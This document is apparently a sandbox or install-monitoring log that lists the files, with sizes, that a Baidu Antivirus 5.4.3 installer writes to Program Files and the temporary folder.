%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\NetRepairTool.dll (3839 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavDllFilter.dll (1611 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\GuideSlice_6.png (95 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\closenormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\feedback\skin\main-feedback_tittle.png (73 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\pop_button_close_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\checkbox\uncheck_sound_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\SearchAmong.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1085.facesmooch.rul (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavClean.dll (132 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\free.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\main_title_safe.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\checkbox\checkbox_sel_hot.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavUi\skin\antivirus\main_title_unprotected.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\closeover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1140.BroderbundBar.rul (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\bg.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DirectUI.dll (15506 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\onBtnHover.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\9FB78DD8-8083-4d5b-86FA-7C9AE2B224E0\icon2.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_hot_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\homeLockTitleBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\gray_icon2.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\setting_over.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavTray\skin\dl_safe.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_down_inwhite.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\context\context.ini (380 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\BsrScript.dll (3915 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\guide_7_slice_browser_malicious.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1144.WiseConvertB2.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavOa.dll (177 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_openhover.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstTool.7z (20416 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\icon_ok.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavOpenUnknownFile\skin.xml (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_normal_inwhite.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\big_green_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkbox_unsel_nor.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkbox_sel_hot.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\ieprotect\skin\setbtn_on_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\scrollbarHover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\qy.dat (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavTray\skin\dl_threat.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1058.ScenicReflections.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\BavTray\skin\dl_threat_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_head_line_blue.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\closedown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\point.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\arrow.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\VirusList\skin.xml (13 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1116.NewVeoh.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\orange_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\menu_ico0.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\green_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\feedback\skin\main-feedback_tittle.png (68 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hlcf.dat (655 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\icon\icon_orange.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\button_close_down.png (315 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\pbBg.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\guide_welcome.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\bg2.png (192 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\BavUi\skin\antivirus\ProcessFullScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\FloatingWnd.bskin (76 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\ProcessRightmenuScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Product-suggestions.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\safeicon.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_unsel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\bluebg_checkbox_sel_hot.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_red_arrow_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Guide\res\skin\green_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_LogStatus\res\skin\top_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\protect\protection_line_item.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dump\CrashReportModuleConf_Total.ini (21 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_update_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\investigate\skin\investigate_op_layout3_bg.png (25 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1128.EasyTVBar.rul (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\res_icon.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1093.BittorrentBar_FRToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\ProcessFullScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_game.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\side_red_arrow_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\TopBtnMore.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\bg\virus_bk_line.png (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\skin\skin\button\gray_btn_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\script_info.ini (41 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\set_btn_bg.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\investigate\skin\unloadInvestigateTitle.png (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\bglangchoose.png (237 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\investigate\skin\investigate_op_layout1_bg.png (62 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\summary_top_safe_custom.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\stepbar\waiting.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1057.TrustWorthy.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1118.A2ZLyrics.rul (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bl.dat (23 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\CouponCompanion.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\investigate\skin\investigate_op_layout2_bg.png (11 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\plugins.xml (6321 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\Font\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_Hips\res\skin\button\side_green_arrow_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\role_3.png (24 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\res_info_line.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bnbasex.sys (75 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1227.radsteroids.rul (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUm.dll (5442 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\ieprotect\skin\setbtn_on_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\checkbox_sound_uncheck_down.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\installFinishLogo.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_bg.png (19 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\feedback\skin.xml (8 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1253.toggleen.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\top_bg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\orange_hover.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\bav.7z (715730 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\GuideSlice_7_BrowserProtect.png (32 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\update.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_ChangeSkin\res\skin\default.png (27 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (40 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\icon_ok.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1188.InfoAtoms.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\bg_successfully.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\frameSmall.bmp (205 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\combobox_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\ieprotect\skin\setbtn_off_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsAp.dll (6365 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_default.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\icon_complete_small.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\logo.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\tree\tree_item_checked.bmp (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\orange_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavPluginRemove\skin.xml (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\install.ico (146 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1180.TNT2-ide.rul (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_protect_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\menu_icon_popup.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\feedback\skin.xml (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\investigate\skin\mainFrame_investigate_mini_layout3_slice.png (9 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DrvInst.dll (673 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\hipstidic.dat (239 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\checkbox_disable_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\general\button\main_tab_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\guide.close.normal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1061.SearchProtect.rul (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\white_deep_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1204.flvplayer.rul (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\ieprotect\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\investigate\skin.xml (6 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Antivirus\inst.dat (131 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1028\BavUpdater\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_open_unknown_file\skin\minH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_failed.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_hipsadp\skin\menu_ico5.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ExtendHandler.dll (1801 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavadvtools\DEF8DB04-2D26-469A-8D59-5D813E89773D\detailDef.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1033\SecurityCode\skin.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1056.WhiteSmkeUSNew.rul (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_investigate\skin\checkbox_unsel_hot.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_USBProtect\res\LockList\skin\icon_warning.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Pop_OA\Plugin_Pop_OA.dll (1634 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\sbr.dat (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\checkbox\list\checkbox_disable_unknown.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfilter.sys (51 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\gray_hover.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\InstSkin1028.txt (45 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\Deals.rul (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavTray\skin\dl_safe_s.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_feedback\skin\Report-suspicious-files.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\rcsex1.dat (51 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1127.BSPlayerControlBar.rul (18 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\bg\virus_bk.png (16 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1054\BavUi\skin\antivirus\main_title_unprotected.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\button\red_down.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavPulginDarkTip\skin.xml (812 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\ProcessRightmenuScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\browser_rec.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ProgramFileList.xml (1630 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1136.AF_HSS.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\unloadOpponent\I18N\1033\skin.xml (763 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bprotect.sys (195 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\free.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1095.DigiModeToolbar.rul (17 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Quarantine\res\skin\bg_animate.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1046\BavUi\skin\antivirus\ProcessRightmenuScan.png (4 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1045.AccuWeather.rul (789 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavTray\skin\dl_scanning.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUa.dll (7386 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Protect\ProtectConf.xml (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\checkbox\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\button\folderBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\bav_updater\skin\bg_critical_reboot.bmp (1669 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\bg\qs2fs_bg.png (15 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\2052\BavUi\skin\antivirus\ProcessFullScan.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Protect\Plugin_Protect.dll (1611 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\tools\tools_icon_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\GuideSlice_7_ScanNow.png (37 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\baidu_engine_ico_gray.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_dl_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\tools\ieprotect\skin\button\blue_disable.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Pop_OA\res\skin\onaccess\close_normal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\main_icon_safe.png (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\common\skin\icon\TitleLogo.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\quickscan_icon.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\msgbox\icon_red_tip.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\BavUi\skin\antivirus\onBtnNormal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\data\bhw.dat (7 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavPe.dll (108 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavtray\skin\menu\tray_menu_on_normal.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\3082\ieprotect\skin\lockClosed.png (5 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\icon\cloud_engine_ico.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1057\BavUi\skin\antivirus\ProcessRightmenuScan.png (2 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHUIHandler.dll (310 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\skin_bavui_frame\skin\scan\engine\updating.png (3 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\browserext\BdChromePlugin.crx (1618 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\dump\CrashReportConfig.ini (948 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa13.tmp\InstSkin\btnH.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\icon_engine_hover.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1036\investigate\skin.xml (6 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\data\1228.CouponClipster.rul (23 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\i18n\1031\BavUi\skin\antivirus\offBtnNormal.png (1 bytes)
%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\skin\plugins\Plugin_Settings\res\skin\role_1.png (24 bytes)
